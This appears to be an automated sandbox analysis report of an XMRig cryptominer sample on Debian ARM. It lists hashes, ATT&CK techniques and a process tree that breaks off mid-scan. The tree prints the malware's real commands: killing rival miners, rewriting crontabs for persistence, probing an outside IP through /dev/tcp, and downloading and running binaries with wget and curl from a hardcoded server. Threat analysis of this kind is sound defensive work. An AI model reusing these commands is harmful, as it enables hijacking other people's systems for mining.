xmrig | 5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4

Analysis

max time kernel
140s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/10/2026, 04:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
Size 26KB
Sample261025-e4kqbsysfw
SHA256 5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
MD5 f605e57b19e0519ca7fd9172cdf6cf5f
SHA1 c0fbd17da442c1d10f1026cb03a45412073235c3
SHA512 c498812683588b5f07e3e594840ea486684ba6680602c0d0ca3e463211aff40595e2f3c91758d740c1b7aadd2d5ffbab371044443237b97de7641f09d19b1c86
SSDEEP 768:YZpDzcA16ideqKN4M8GM8pM63Hf/bUr02Df8rWXhc/u6LZ2xNK:+cA16L4M/MeM6or0BCRc/WxNK
TLSH
T196C260F4FC78C971B159483DB8AE5E556A8A4A3F05A67C50701FFC292B7C02A70B8772
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-29.dat	family_xmrig
behavioral2/files/fstream-29.dat	xmrig

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1003	chmod
1018	chmod
1093	chmod
1854	chmod
2023	chmod
652	chmod
1009	chmod
1064	chmod
1086	chmod
1105	chmod
1743	chmod
1853	chmod
2024	chmod
663	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/opt/.kd/.te	668	5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
/opt/.kd/pg_wal	1095	5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
/opt/.kd/pg_wal	1094	5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
/opt/.kd/pg_wal	1101	5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
/opt/.kd/pg_wal	1750	setsid
/opt/.kd/pg_wal	1926	nohup
/opt/.kd/pg_wal	2096	nohup

Creates/modifies Cron job 1 TTPs 2 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.eBU93C	crontab
File opened for modification	/var/spool/cron/crontabs/tmp.IVbZM1	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 7 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/cgroup/memory.max	cat
File opened for reading	/sys/fs/cgroup/memory/memory.limit_in_bytes	cat

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/159/cmdline	pkill
File opened for reading	/proc/292/cmdline	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/142/status	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/231/cmdline	pkill
File opened for reading	/proc/321/cmdline	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/13/cmdline	pkill
File opened for reading	/proc/26/status	pkill
File opened for reading	/proc/635/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/76/cmdline	pkill
File opened for reading	/proc/208/status	pkill
File opened for reading	/proc/646/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/109/cmdline	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/231/status	pkill
File opened for reading	/proc/143/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/17/cmdline	pkill
File opened for reading	/proc/308/status	pkill
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/25/status	pkill
File opened for reading	/proc/579/status	pkill
File opened for reading	/proc/26/cmdline	pkill
File opened for reading	/proc/41/status	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/645/cmdline	pkill
File opened for reading	/proc/635/status	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/20/cmdline	pkill
File opened for reading	/proc/644/status	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/41/cmdline	pkill
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/325/status	pkill
File opened for reading	/proc/19/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/304/cmdline	pkill
File opened for reading	/proc/316/cmdline	pkill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/76/status	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/208/cmdline	pkill
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/filesystems	sed

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1062	busybox
1084	busybox

/tmp/5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
/tmp/5dd2a0d8024f8e4c24eb77085e9cc7a0c0acffdc9814d63d3c83810fba4707d4
1⤵
- Executes dropped EXE
PID:647
- /bin/mkdir
  mkdir -p /var/run/postgresql/.kd
  2⤵
  PID:649
- /bin/chmod
  chmod 755 /var/run/postgresql/.kd/.te
  2⤵
  - File and Directory Permissions Modification
  PID:652
- /var/run/postgresql/.kd/.te
  /var/run/postgresql/.kd/.te
  2⤵
  PID:655
- /bin/rm
  rm -f /var/run/postgresql/.kd/.te
  2⤵
  PID:656
- /bin/mkdir
  mkdir -p /opt/.kd
  2⤵
  PID:659
- /bin/chmod
  chmod 755 /opt/.kd/.te
  2⤵
  - File and Directory Permissions Modification
  PID:663
- /opt/.kd/.te
  /opt/.kd/.te
  2⤵
  PID:668
- /bin/rm
  rm -f /opt/.kd/.te
  2⤵
  PID:672
- /bin/mkdir
  mkdir -p /opt/.kd
  2⤵
  PID:674
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:679
- /bin/ls
  ls /proc
  2⤵
  - Reads runtime system information
  PID:678
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:683
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:682
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:687
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:686
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:690
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:691
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:696
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:695
- /bin/readlink
  readlink /proc/11/exe
  2⤵
  PID:699
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:700
- /bin/readlink
  readlink /proc/110/exe
  2⤵
  PID:702
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:703
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:706
- /bin/readlink
  readlink /proc/12/exe
  2⤵
  PID:705
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:709
- /bin/readlink
  readlink /proc/13/exe
  2⤵
  PID:708
- /bin/readlink
  readlink /proc/138/exe
  2⤵
  PID:711
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:712
- /bin/readlink
  readlink /proc/14/exe
  2⤵
  PID:715
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:716
- /bin/readlink
  readlink /proc/142/exe
  2⤵
  PID:718
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:719
- /bin/readlink
  readlink /proc/143/exe
  2⤵
  PID:721
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:722
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:725
- /bin/readlink
  readlink /proc/15/exe
  2⤵
  PID:724
- /bin/readlink
  readlink /proc/159/exe
  2⤵
  PID:727
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:728
- /bin/readlink
  readlink /proc/16/exe
  2⤵
  PID:730
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:731
- /bin/readlink
  readlink /proc/17/exe
  2⤵
  PID:733
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:734
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:737
- /bin/readlink
  readlink /proc/170/exe
  2⤵
  PID:736
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:740
- /bin/readlink
  readlink /proc/18/exe
  2⤵
  PID:739
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:743
- /bin/readlink
  readlink /proc/19/exe
  2⤵
  PID:742
- /bin/readlink
  readlink /proc/2/exe
  2⤵
  PID:745
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:746
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:749
- /bin/readlink
  readlink /proc/20/exe
  2⤵
  PID:748
- /bin/readlink
  readlink /proc/208/exe
  2⤵
  PID:751
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:752
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:755
- /bin/readlink
  readlink /proc/21/exe
  2⤵
  PID:754
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:758
- /bin/readlink
  readlink /proc/22/exe
  2⤵
  PID:757
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:761
- /bin/readlink
  readlink /proc/23/exe
  2⤵
  PID:760
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:764
- /bin/readlink
  readlink /proc/231/exe
  2⤵
  PID:763
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:767
- /bin/readlink
  readlink /proc/24/exe
  2⤵
  PID:766
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:770
- /bin/readlink
  readlink /proc/25/exe
  2⤵
  PID:769
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:773
- /bin/readlink
  readlink /proc/26/exe
  2⤵
  PID:772
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:776
- /bin/readlink
  readlink /proc/27/exe
  2⤵
  PID:775
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:779
- /bin/readlink
  readlink /proc/28/exe
  2⤵
  PID:778
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:782
- /bin/readlink
  readlink /proc/289/exe
  2⤵
  PID:781
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:785
- /bin/readlink
  readlink /proc/29/exe
  2⤵
  PID:784
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:788
- /bin/readlink
  readlink /proc/292/exe
  2⤵
  PID:787
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:791
- /bin/readlink
  readlink /proc/293/exe
  2⤵
  PID:790
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:794
- /bin/readlink
  readlink /proc/295/exe
  2⤵
  PID:793
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:797
- /bin/readlink
  readlink /proc/3/exe
  2⤵
  PID:796
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:800
- /bin/readlink
  readlink /proc/304/exe
  2⤵
  PID:799
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:803
- /bin/readlink
  readlink /proc/308/exe
  2⤵
  PID:802
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:806
- /bin/readlink
  readlink /proc/316/exe
  2⤵
  PID:805
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:809
- /bin/readlink
  readlink /proc/321/exe
  2⤵
  PID:808
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:812
- /bin/readlink
  readlink /proc/325/exe
  2⤵
  PID:811
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:815
- /bin/readlink
  readlink /proc/4/exe
  2⤵
  PID:814
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:818
- /bin/readlink
  readlink /proc/41/exe
  2⤵
  PID:817
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:821
- /bin/readlink
  readlink /proc/42/exe
  2⤵
  PID:820
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:824
- /bin/readlink
  readlink /proc/43/exe
  2⤵
  PID:823
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:827
- /bin/readlink
  readlink /proc/5/exe
  2⤵
  PID:826
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:830
- /bin/readlink
  readlink /proc/567/exe
  2⤵
  PID:829
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:833
- /bin/readlink
  readlink /proc/579/exe
  2⤵
  PID:832
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:836
- /bin/readlink
  readlink /proc/583/exe
  2⤵
  PID:835
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:839
- /bin/readlink
  readlink /proc/593/exe
  2⤵
  PID:838
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:842
- /bin/readlink
  readlink /proc/594/exe
  2⤵
  PID:841
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:846
- /bin/readlink
  readlink /proc/6/exe
  2⤵
  PID:845
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:850
- /bin/readlink
  readlink /proc/635/exe
  2⤵
  PID:849
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:855
- /bin/readlink
  readlink /proc/638/exe
  2⤵
  PID:854
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:858
- /bin/readlink
  readlink /proc/641/exe
  2⤵
  PID:857
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:863
- /bin/readlink
  readlink /proc/644/exe
  2⤵
  PID:862
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:866
- /bin/readlink
  readlink /proc/645/exe
  2⤵
  PID:865
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:871
- /bin/readlink
  readlink /proc/646/exe
  2⤵
  PID:870
- /bin/readlink
  readlink /proc/647/exe
  2⤵
  PID:873
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:874
- /bin/readlink
  readlink /proc/651/exe
  2⤵
  PID:878
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:879
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:883
- /bin/readlink
  readlink /proc/662/exe
  2⤵
  PID:882
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:887
- /bin/readlink
  readlink /proc/676/exe
  2⤵
  PID:886
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:891
- /bin/readlink
  readlink /proc/677/exe
  2⤵
  PID:890
- /bin/readlink
  readlink /proc/678/exe
  2⤵
  PID:894
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:895
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:899
- /bin/readlink
  readlink /proc/679/exe
  2⤵
  PID:898
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:903
- /bin/readlink
  readlink /proc/7/exe
  2⤵
  PID:902
- /bin/readlink
  readlink /proc/76/exe
  2⤵
  PID:906
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:907
- /bin/readlink
  readlink /proc/8/exe
  2⤵
  PID:910
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:911
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:916
- /bin/readlink
  readlink /proc/9/exe
  2⤵
  PID:915
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:919
- /bin/readlink
  readlink /proc/98/exe
  2⤵
  PID:918
- /usr/bin/pkill
  pkill -9 -x kdevtmpfsi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:921
- /usr/bin/pkill
  pkill -9 -x kinsing
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:925
- /usr/bin/pkill
  pkill -9 -x pg_mem
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:928
- /usr/bin/pkill
  pkill -9 -x postgres-kernel
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:932
- /usr/bin/pkill
  pkill -9 -x zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:936
- /usr/bin/pkill
  pkill -9 -x pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:943
- /usr/bin/pkill
  pkill -9 -x updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:946
- /bin/rm
  rm -f /tmp/kdevtmpfsi /var/tmp/kdevtmpfsi /tmp/kinsing /var/tmp/kinsing /tmp/pg_mem /var/tmp/pg_mem /tmp/postgres-kernel /var/tmp/postgres-kernel
  2⤵
  PID:950
- /bin/grep
  grep -icE "kdevtmpfsi|kinsing|pg_mem|postgres-kernel|zsvc|pdefenderd|updatecheckerd"
  2⤵
  PID:954
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:953
- /usr/bin/nproc
  nproc
  2⤵
  PID:956
- /bin/hostname
  hostname
  2⤵
  PID:958
- /usr/bin/tr
  tr -cd a-zA-Z0-9
  2⤵
  PID:959
- /usr/bin/head
  head -c 8
  2⤵
  PID:960
- /usr/bin/head
  head -c 4
  2⤵
  PID:964
- /bin/cat
  cat /proc/sys/kernel/random/uuid
  2⤵
  PID:962
- /bin/cat
  cat /sys/fs/cgroup/memory.max
  2⤵
  - Enumerates kernel/hardware configuration
  PID:966
- /bin/cat
  cat /sys/fs/cgroup/memory/memory.limit_in_bytes
  2⤵
  - Enumerates kernel/hardware configuration
  PID:967
- /usr/bin/awk
  awk "/MemAvailable/{print int(\$2/1024)}" /proc/meminfo
  2⤵
  PID:969
- /sbin/modprobe
  modprobe msr
  2⤵
  PID:970
- /usr/bin/timeout
  timeout 4 bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
  2⤵
  PID:971
- - /usr/local/sbin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- - /usr/local/bin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- - /usr/sbin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- - /usr/bin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- - /sbin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- - /bin/bash
    bash -c "exec 3<>/dev/tcp/130.94.112.118/10001"
    3⤵
    PID:972
- /usr/bin/curl
  curl -sk --max-time 6 -o /dev/null https://89.125.187.222:5432/admin/getClientStatusList
  2⤵
  - Checks CPU configuration
  PID:973
- /bin/cat
  cat
  2⤵
  PID:982
- /bin/grep
  grep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak
  2⤵
  PID:985
- /usr/bin/tr
  tr "\\n" "|"
  2⤵
  PID:986
- /bin/mv
  mv pg_settings.bak.tmp pg_settings.bak
  2⤵
  PID:988
- /bin/cp
  cp -f /opt/.kd/pg_settings.bak /opt/.kd/pg_settings.conf
  2⤵
  PID:990
- /bin/chmod
  chmod 600 /opt/.kd/pg_settings.conf
  2⤵
  PID:992
- /usr/bin/tr
  tr "\\n" "|"
  2⤵
  PID:996
- /bin/grep
  grep -o "\"worker-id\":\"[^\"]*\"\\|\"url\":\"[^\"]*\"\\|\"max-threads-hint\":[0-9]*" pg_settings.bak
  2⤵
  PID:995
- /bin/cat
  cat
  2⤵
  PID:998
- /bin/cat
  cat
  2⤵
  PID:999
- /bin/sed
  sed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd.sh /opt/.kd/wd2.sh
  2⤵
  PID:1001
- /bin/chmod
  chmod 755 /opt/.kd/wd.sh /opt/.kd/wd2.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1003
- /bin/cat
  cat
  2⤵
  PID:1005
- /bin/sed
  sed -i "s|__D__|/opt/.kd|g" /opt/.kd/wd3.sh
  2⤵
  PID:1007
- /bin/chmod
  chmod 755 /opt/.kd/wd3.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1012
- /bin/grep
  grep -viE "zzcc|catbox|217\\.217\\.233|wpzk6z|j7uu3v|0nh6sx|ev4g3l|fetch_run|run\\.sh|gitlab|metrics-agents|static-assets"
  2⤵
  PID:1014
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1013
- /bin/cat
  cat
  2⤵
  PID:1017
- /bin/chmod
  chmod 755 /opt/.kd/sd.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1018
- /bin/hostname
  hostname
  2⤵
  PID:1021
- /usr/bin/cksum
  cksum
  2⤵
  PID:1022
- /usr/bin/cut
  cut "-d " -f1
  2⤵
  PID:1023
- /usr/bin/tr
  tr " " "\\n"
  2⤵
  PID:1027
- /usr/bin/awk
  awk -v "h=667589783" "NR % 16 == h % 16"
  2⤵
  PID:1028
- /usr/bin/head
  head -3
  2⤵
  PID:1029
- /usr/bin/tr
  tr "\\n" " "
  2⤵
  PID:1030
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1034
- /bin/grep
  grep -v sysmon-sd
  2⤵
  PID:1036
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:1035
- /bin/uname
  uname -m
  2⤵
  PID:1038
- /bin/busybox
  busybox wget -q -T 90 -O /opt/.kd/.v.json.647 http://89.125.187.222:18899/bin/versions.json
  2⤵
  PID:1040
- /usr/bin/wget
  wget -q -T 90 -O /opt/.kd/.v.json.647 http://89.125.187.222:18899/bin/versions.json
  2⤵
  PID:1043
- /usr/bin/curl
  curl -s -m 150 -o /opt/.kd/.v.json.647 http://89.125.187.222:18899/bin/versions.json
  2⤵
  - Checks CPU configuration
  PID:1044
- /bin/mv
  mv /opt/.kd/.v.json.647 /opt/.kd/.v.json
  2⤵
  - Reads runtime system information
  PID:1045
- /bin/cat
  cat /opt/.kd/.v.json
  2⤵
  PID:1047
- /usr/bin/tr
  tr -d " \\n\\t"
  2⤵
  PID:1048
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1051
- /usr/bin/wc
  wc -c /opt/.kd/ccd
  2⤵
  PID:1050
- /bin/busybox
  busybox wget -q -T 90 -O /opt/.kd/ccd.gz.647 http://89.125.187.222:18899/bin/agentd-linux-x64.gz
  2⤵
  PID:1052
- /bin/mv
  mv /opt/.kd/ccd.gz.647 /opt/.kd/ccd.gz
  2⤵
  PID:1053
- /bin/sed
  sed -n "s/.*\"agentd-linux-x64.gz\":{\"md5\":\"\$[a-f0-9][a-f0-9]*\$\".*/\\1/p"
  2⤵
  PID:1056
- /usr/bin/head
  head -1
  2⤵
  PID:1057
- /usr/bin/cut
  cut "-d " -f1
  2⤵
  PID:1060
- /usr/bin/md5sum
  md5sum /opt/.kd/ccd.gz
  2⤵
  PID:1059
- /bin/busybox
  busybox gzip -t /opt/.kd/ccd.gz
  2⤵
  - System Network Configuration Discovery
  PID:1062
- /bin/busybox
  busybox gzip -dc /opt/.kd/ccd.gz
  2⤵
  PID:1063
- /bin/chmod
  chmod 755 /opt/.kd/ccd
  2⤵
  - File and Directory Permissions Modification
  PID:1064
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1067
- /usr/bin/wc
  wc -c /opt/.kd/ccd
  2⤵
  PID:1066
- /bin/rm
  rm -f /opt/.kd/ccd.gz
  2⤵
  PID:1068
- /usr/bin/wc
  wc -c
  2⤵
  PID:1070
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1073
- /usr/bin/wc
  wc -c /opt/.kd/pg_wal
  2⤵
  PID:1072
- /bin/busybox
  busybox wget -q -T 90 -O /opt/.kd/pg_wal.gz.647 http://89.125.187.222:18899/bin/collector-linux-x64.gz
  2⤵
  PID:1074
- /bin/mv
  mv /opt/.kd/pg_wal.gz.647 /opt/.kd/pg_wal.gz
  2⤵
  PID:1075
- /usr/bin/head
  head -1
  2⤵
  PID:1079
- /bin/sed
  sed -n "s/.*\"collector-linux-x64.gz\":{\"md5\":\"\$[a-f0-9][a-f0-9]*\$\".*/\\1/p"
  2⤵
  PID:1078
- /usr/bin/cut
  cut "-d " -f1
  2⤵
  PID:1082
- /usr/bin/md5sum
  md5sum /opt/.kd/pg_wal.gz
  2⤵
  PID:1081
- /bin/busybox
  busybox gzip -t /opt/.kd/pg_wal.gz
  2⤵
  - System Network Configuration Discovery
  PID:1084
- /bin/busybox
  busybox gzip -dc /opt/.kd/pg_wal.gz
  2⤵
  PID:1085
- /bin/chmod
  chmod 755 /opt/.kd/pg_wal
  2⤵
  - File and Directory Permissions Modification
  PID:1086
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1089
- /usr/bin/wc
  wc -c /opt/.kd/pg_wal
  2⤵
  PID:1088
- /bin/rm
  rm -f /opt/.kd/pg_wal.gz
  2⤵
  PID:1090
- /usr/bin/wc
  wc -c
  2⤵
  PID:1092
- /bin/chmod
  chmod 755 /opt/.kd/pg_wal
  2⤵
  - File and Directory Permissions Modification
  PID:1093
- /opt/.kd/pg_wal
  ./pg_wal --help
  2⤵
  PID:1095
- /opt/.kd/pg_wal
  ./pg_wal --version
  2⤵
  PID:1094
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1100
- /usr/bin/wc
  wc -c /opt/.kd/pg_wal
  2⤵
  PID:1099
- /bin/grep
  grep -qi xmrigcc
  2⤵
  PID:1103
- /usr/bin/head
  head -3
  2⤵
  PID:1102
- /opt/.kd/pg_wal
  /opt/.kd/pg_wal --help
  2⤵
  PID:1101
- /bin/chmod
  chmod 755 /opt/.kd/pg_wal
  2⤵
  - File and Directory Permissions Modification
  PID:1105
- /usr/bin/wc
  wc -c
  2⤵
  PID:1107
- /bin/rm
  rm -f /var/tmp/.kd/wd.sh /var/tmp/.kd/wd2.sh
  2⤵
  PID:1108
- /bin/rm
  rm -f /tmp/.kd/wd.sh /tmp/.kd/wd2.sh
  2⤵
  PID:1109
- /bin/rm
  rm -f /dev/shm/.kd/wd.sh /dev/shm/.kd/wd2.sh
  2⤵
  PID:1110
- /bin/rm
  rm -f /.kd/wd.sh /.kd/wd2.sh
  2⤵
  PID:1111
- /bin/grep
  grep -E "^[0-9]+\$"
  2⤵
  PID:1114
- /bin/ls
  ls /proc
  2⤵
  PID:1113
- /bin/readlink
  readlink /proc/1/exe
  2⤵
  PID:1116
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1117
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1120
- /bin/readlink
  readlink /proc/10/exe
  2⤵
  PID:1119
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1123
- /bin/readlink
  readlink /proc/107/exe
  2⤵
  PID:1122
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  PID:1126
- /bin/readlink
  readlink /proc/109/exe
  2⤵
  PID:1125
- /bin/sed
  sed "s/ (deleted)\$//"
  2⤵
  - Reads runtime system information
  PID:1129
- /bin/readlink
  readlink /proc/11/exe
  2⤵
